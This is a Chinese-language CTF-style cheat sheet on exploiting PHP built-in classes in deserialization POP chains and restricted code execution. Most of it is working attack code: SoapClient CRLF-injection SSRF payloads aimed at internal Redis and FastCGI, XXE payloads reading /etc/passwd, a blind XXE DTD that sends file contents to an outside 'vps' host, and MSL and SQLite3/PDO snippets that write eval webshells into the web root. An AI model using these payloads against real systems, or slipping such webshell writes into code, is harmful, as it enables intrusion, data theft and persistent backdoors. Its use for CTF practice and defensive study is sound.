前言

PHP 内置了丰富的原生类(Built-in Classes),无需引入外部代码即可使用。在反序列化、代码执行受限等场景中,合理利用原生类往往能出奇制胜。本文整理 PHP 原生类在安全利用中的常见手法,按功能分类介绍。


常用原生类速查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Error                    — __toString 控制输出 / md5 sha1 绕过
Exception — 同 Error
SoapClient — CRLF 注入 → SSRF(反序列化核心)
DirectoryIterator — 遍历目录
FilesystemIterator — 遍历目录(可配合 glob://)
GlobIterator — 遍历目录(自带通配符,无需 glob:// 前缀)
SplFileObject — 读取文件内容
SimpleXMLElement — XXE 注入
ReflectionClass — 获取类信息 / 注释泄露
ReflectionMethod — 获取方法信息 / 注释泄露
ReflectionFunction — 反射函数 / invoke 调用
Imagick — MSL 命令注入 / SSRF
Phar — phar 反序列化
ZipArchive — 动态创建 phar / zip
SQLite3 / PDO — 数据库操作 / 文件写入
Generator / Closure — 回调函数相关
RecursiveDirectoryIterator — 递归遍历目录
SplQueue / SplStack — 数据结构(特定场景 pop chain 中使用)

一、遍历目录类

1.1 DirectoryIterator

遍历指定目录中的文件,可以配合 glob:// 协议使用通配符匹配路径:

1
2
3
4
5
6
7
<?php
$dir = new DirectoryIterator("/"); // 遍历根目录
// $dir = new DirectoryIterator("glob:///*root*"); // 通配符匹配
foreach ($dir as $f) {
echo $f . '<br>';
// 或用 echo $f->__toString() . '<br>';
}

要点: echo 触发 __toString() 方法,返回当前文件名。配合 glob:// 可绕过 open_basedir

1.2 FilesystemIterator

DirectoryIterator 类似,同样可以配合 glob:// 使用:

1
2
3
4
5
<?php
$dir = new FilesystemIterator("glob:///var/www/*");
foreach ($dir as $f) {
echo $f->__toString() . '<br>';
}

1.3 GlobIterator

相比上面两个,GlobIterator 自带通配符匹配功能,不需要额外写 glob:// 前缀。当关键字 glob 被过滤时,优先用这个类:

1
2
3
4
5
<?php
$dir = new GlobIterator("/fl*");
foreach ($dir as $f) {
echo $f . '<br>';
}

三个类均可配合其他原生类的 POP 链用于绕过 open_basedir 限制列举目录。

1.4 RecursiveDirectoryIterator

递归遍历目录,可遍历子目录:

1
2
3
4
5
6
<?php
$dir = new RecursiveDirectoryIterator("/var/www/");
$it = new RecursiveIteratorIterator($dir);
foreach ($it as $f) {
echo $f->__toString() . '<br>';
}

二、读取文件类 — SplFileObject

SplFileObject 的构造函数接受一个文件路径,触发 __toString() 时会读取文件内容。但默认只返回第一行,需要遍历或调用 fpassthru() 获取完整内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
// 只读一行
$dir = new SplFileObject("/flag.txt");
echo $dir; // 触发 __toString(),输出第一行

// 读取所有行
$dir = new SplFileObject("/flag.txt");
foreach ($dir as $tmp) {
echo $tmp . '<br>';
}

// 使用 fpassthru() 方法输出全部内容
$dir = new SplFileObject("/flag.txt");
$dir->fpassthru(null);

反序列化 POP 链常见用法:__toStringreadfile 的链中,将 SplFileObject 作为中间跳板读取目标文件。注意部分 PHP 版本 fpassthru() 不接受参数。


三、Error / Exception 类

3.1 控制 __toString() 输出

ErrorException 类都能在实例化时传入错误消息,触发 __toString() 时以带行号的格式化字符串返回:

1
2
3
4
<?php
$a = new Error("<script>alert('xss')</script>");
echo $a;
// 输出类似: Error: <script>alert('xss')</script> in /var/www/html/index.php:2

反序列化 XSS: 当反序列化后 echo 了可控对象时,可构造 Error 对象注入 XSS。

3.2 绕过 md5() / sha1() 强比较

当两个 Error / Exception 对象在同一行被实例化且传入相同错误消息时,__toString() 输出的格式化字符串完全相同(包含相同的行号),因此 md5() / sha1() 结果也相同,但两个对象本身是不同的实例(!==):

1
2
3
4
5
6
7
<?php
$a = new Error("payload", 1);
$b = new Error("payload", 2);
echo $a;
echo $b;
var_dump(md5($a) === md5($b)); // bool(true)
var_dump($a !== $b); // bool(true) — 两个不同对象

POC:

1
2
3
4
$payload = "1";
$a1 = new Error($payload, 1);
$a2 = new Error($payload, 2);
// md5($a1) === md5($a2) → true,且 $a1 !== $a2 → true

3.3 eval 触发 __toString()

1
2
3
<?php
$a = new Error('?><?php phpinfo();', 1);
eval($a); // eval 对对象执行时触发 __toString,输出 phpinfo 内容

四、SoapClient — CRLF → SSRF

SoapClient 是 PHP 反序列化中最强大的原生类之一。它可以在实例化时发起 HTTP 请求,配合 CRLF 注入修改任意 HTTP 头,实现 SSRF + 完全控制 HTTP 请求

4.1 基本原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$target = 'http://127.0.0.1:80/';
$headers = [
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=admin'
];

$soap = new SoapClient(null, [
'uri' => 'test',
'location' => $target,
'user_agent' => "attacker\r\n" . implode("\r\n", $headers) . "\r\n",
]);
// 在序列化时 SoapClient 并不会发起请求
// 反序列化后,任意调用对象的方法(哪怕是未定义的)都会触发 __call
// __call 会发起 SOAP 请求到 location

4.2 CRLF 注入 User-Agent → 完全控制请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class SoapClientSSRF {
public $soap;
public function __construct() {
$headers = [
'Host: internal-service:8080',
'Authorization: Bearer admin_token'
];
$ua = "SOAP\r\n" . implode("\r\n", $headers) . "\r\n";
$this->soap = new SoapClient(null, [
'uri' => 'x',
'location' => 'http://127.0.0.1:8080/admin',
'user_agent' => $ua,
'exceptions' => 0,
'connection_timeout' => 5
]);
}
}

4.3 完整 SSRF POP 链

配合存在 __destruct__call 的任意对象触发:

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = "http://127.0.0.1:8080/flag";
$postData = "arg=value";

$soap = new SoapClient(null, [
'uri' => 'x',
'location' => $target,
'user_agent' => "x\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " . strlen($postData) . "\r\n\r\n" . $postData
]);
// 序列化 → 发送到目标 → 反序列化后触发 __call → 发起自定义 POST 请求
$exp = serialize($soap);

4.4 实际利用场景

场景 目标
Redis 未授权 location 指向本地 Redis 端口,构造 config set / flushall 写 shell
内网服务探测 遍历内网 IP + 端口,根据超时/错误信息判断存活
攻击 Solr/ES 等 利用 CRLF 构造恶意请求体攻击内网应用
MySQL 构造 构造 MySQL 协议包读取文件(需知道用户名密码)
FastCGI 攻击 PHP-FPM 监听端口实现 RCE

4.5 触发方式

SoapClient 需要调用一个方法才能发起请求,常用触发:

  • __call — 调用对象上不存在的方法(最常见的反序列化触发点)
  • __toString → 链到某个调用不存在方法的对象
  • __destruct → 链到某个调用不存在方法的对象
  • __wakeup → 同上

五、SimpleXMLElement — XXE 注入

SimpleXMLElement 用于解析 XML 文档。PHP 的 libxml 默认启用外部实体加载,可直接触发 XXE。

5.1 构造函数参数

1
2
3
4
5
SimpleXMLElement(
data, // XML 数据 或 文件路径 或 远程 URL
options, // 一般填 2
data_is_url, // true 表示 data 是文件路径/URL, false 表示是 XML 字符串
)

5.2 远程 XXE

1
2
3
4
5
6
7
8
9
<?php
// $data_is_url = true,data 传入远程 XML 文件 URL
$xml = new SimpleXMLElement('http://vps/evil.xml', 2, true);
// 远程服务器返回:
// <?xml version="1.0"?>
// <!DOCTYPE foo [
// <!ENTITY xxe SYSTEM "file:///flag">
// ]>
// <root>&xxe;</root>

5.3 直接 XXE

1
2
3
4
5
6
7
<?php
$xml_data = '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>';
$xml = new SimpleXMLElement($xml_data, 2, false); // false = XML 字符串

5.4 盲 XXE — 外带数据

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml_data = '<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://vps/evil.dtd">
%xxe;
]>
<root>&send;</root>';
// evil.dtd:
// <!ENTITY % file SYSTEM "file:///flag">
// <!ENTITY % eval "<!ENTITY send SYSTEM 'http://vps/?%file;'>">
// %eval;

要点: 当反序列化 POP 链中存在可控参数可传入 SimpleXMLElement 时,可构造 XXE 读取文件或 SSRF。


六、反射类

6.1 ReflectionClass

获取类的定义信息,可用于反序列化前的信息收集:

1
2
<?php
echo new ReflectionClass('readflag'); // 回显类的方法、属性定义

6.2 ReflectionMethod

最重要的一点——它可以获取类/函数中的文档注释(DocComment)。题目中如果 flag 藏在注释里,这就是最优解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// 假设源代码中有:
function exampleMethod($name) {
return true; // flag{hidden_in_comment}
}

$method = new ReflectionMethod('exampleMethod');
echo $method->getDocComment(); // 回显注释 → flag

class User {
public function login($username, $password) {
// flag{hidden_here}
}
}
$method = new ReflectionMethod('User', 'login');
echo $method->getDocComment(); // 同样回显

完整用法合集:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
class User {
/**
* 用户登录方法
* @param string $username
* @param string $password
* @return bool
*/
public function login(string $username, string $password): bool {
return true;
}
}

$method = new ReflectionMethod('User', 'login');

echo "方法名: " . $method->getName() . "\n";
echo "是否公共: " . ($method->isPublic() ? '是' : '否') . "\n";
echo "参数数量: " . $method->getNumberOfParameters() . "\n";

foreach ($method->getParameters() as $param) {
echo "参数: " . $param->getName() . " (" . $param->getType() . ")\n";
}

if ($method->hasReturnType()) {
echo "返回类型: " . $method->getReturnType() . "\n";
}

if ($doc = $method->getDocComment()) {
echo "文档注释:\n" . $doc . "\n";
}

// 动态调用方法
$user = new User();
$result = $method->invokeArgs($user, ['admin', '123456']);
echo "调用结果: " . ($result ? '成功' : '失败');

6.3 ReflectionFunction

反射普通函数或匿名函数,通过 invoke / invokeArgs 执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function sayHello($name) {
return "Hello, $name!";
}

$ref = new ReflectionFunction('sayHello');
echo $ref->invoke('World'); // Hello, World!
echo $ref->invokeArgs(['World']); // 另一种调用方式

// 反射匿名函数
$func = function($a, $b) { return $a + $b; };
$ref = new ReflectionFunction($func);
echo $ref->invoke(5, 3); // 8

6.4 反射类 POP 链用途

在反序列化链中,反射类常用于:

  • 绕过 new 关键字的限制 — 不需要 new $class(),直接从反射获取实例
  • 调用非公开方法 — bypass private/protected 访问控制
  • 获取注释泄露信息 — 题目把 flag 藏在注释里

七、其他重要原生类

7.1 Imagick — MSL 命令注入 / SSRF

Imagick 是 PHP 的图像处理扩展,支持读取 SVG 等矢量格式。如果存在 new Imagick($url . $ext) 且参数可控,可造成 SSRF 或命令注入。

方式一:Imagick + delegate(GhostScript 命令注入 / 早期 ImageMagick RCE)

在 SVG 中构造 <image xlink:href="url"/> 可实现 SSRF。部分版本的 MSL(Magick Scripting Language)文件可以直接执行系统命令。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&test;</text>
</svg>
1
2
3
4
<image>
<read filename="caption:<?php @eval($_POST[1]);?>" />
<write filename="info:./upload/shell.php" />
</image>

方式二:Imagick 读取 blob 创建时触发 SSRF

1
2
3
<?php
$image = new Imagick('http://127.0.0.1:6379/test.svg');
// 如果后续调用 $image->getImageBlob(),会发起 HTTP 请求

要点: Imagick 参数中如果 URL 可控,可尝试 SSRF + 任意文件写。

7.2 ZipArchive — 动态创建压缩包

在 phar 反序列化场景中,如果目标存在文件上传但限制了直接上传 .phar,可利用 ZipArchive 在目标服务器上动态创建 phar 文件:

1
2
3
4
<?php
$zip = new ZipArchive();
$zip->open('/tmp/shell.phar', ZipArchive::CREATE);
// 需要先上传/写入 phar 内容文件

7.3 SQLite3 / PDO — 数据库操作

当存在任意类实例化时,可通过 SQLite3PDO 创建/写入 SQLite 数据库文件:

1
2
3
4
5
6
7
8
9
10
<?php
// SQLite3
$db = new SQLite3('/var/www/html/shell.php');
$db->exec('CREATE TABLE a (b TEXT);');
$db->exec("INSERT INTO a VALUES ('<?php eval(\$_POST[1]);?>');");

// PDO — 同样可以创建 SQLite 文件并写入内容
$pdo = new PDO('sqlite:/var/www/html/shell.php');
$pdo->exec('CREATE TABLE a (b TEXT);');
$pdo->exec("INSERT INTO a VALUES ('<?php eval(\$_POST[1]);?>');");

利用条件: 目标目录可写。写出的 PHP 文件虽然包含 SQLite 格式的二进制头,但 PHP 引擎在解析时会跳过非 PHP 代码块,<?php 之后的代码仍然执行。

7.4 Generator / Closure

在回调马场景中有用:

1
2
3
4
5
6
7
<?php
// Closure — 匿名函数类
$closure = function($a, $b) { return $a + $b; };

// Generator — 生成器类
function gen() { yield 1; yield 2; }
$generator = gen();

7.5 RecursiveIteratorIterator

配合 RecursiveDirectoryIterator 递归遍历目录:

1
2
3
4
5
6
7
<?php
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator('/var/www/')
);
foreach ($it as $f) {
echo $f->__toString() . '<br>';
}

7.6 数据结构类(SplQueue / SplStack / SplHeap)

偶尔出现在复杂的 POP 链中,用作中间跳板或绕过类型检查:

1
2
3
4
5
6
<?php
$queue = new SplQueue();
$queue->enqueue('a');

$stack = new SplStack();
$stack->push('b');

八、反序列化 POP 链中常见的 “有 __toString() 的内置类”

当需要构造 __toString → 调用函数 的链时,以下内置类可充当跳板:

1
2
3
4
5
// eval("echo new $v1($v2());");
// ?v1=Exception&v2=system('ls')
// ?v1=CachingIterator&v2=system('ls')
// ?v1=ReflectionClass&v2=system('tac flag.txt')
// ?v1=FilesystemIterator&v2=getcwd

这些类的 __toString() 在各版本行为略有差异:

  • Exception / Error — 返回格式化的错误信息字符串
  • DirectoryIterator / FilesystemIterator / GlobIterator — 返回当前文件名
  • SplFileObject — 返回文件当前行内容
  • ReflectionClass / ReflectionMethod / ReflectionFunction — 返回类/方法/函数的签名字符串

总结

目标 可用原生类 典型场景
遍历目录 DirectoryIterator / FilesystemIterator / GlobIterator LFI + open_basedir 绕过
读取文件 SplFileObject 反序列化 POP 链读取 flag
SSRF SoapClient (CRLF) / Imagick / SimpleXMLElement 反序列化打内网
XXE SimpleXMLElement 文件读取 / 盲 XXE 外带
绕过 md5/sha1 强比较 Error / Exception 弱类型比较绕过
信息收集 ReflectionClass / ReflectionMethod 注释泄露 / 方法发现
动态调用 ReflectionFunction / ReflectionMethod invoke 任意函数
文件写入 SQLite3 / PDO / ZipArchive 反序列化写 shell
命令执行 Imagick (MSL) 图像处理扩展利用

核心思路: 反序列化的利用不一定需要目标代码里有现成的类。PHP 内置类就是永远存在的 “gadget”,配合巧妙的参数构造可以完成从信息收集到 RCE 的完整链。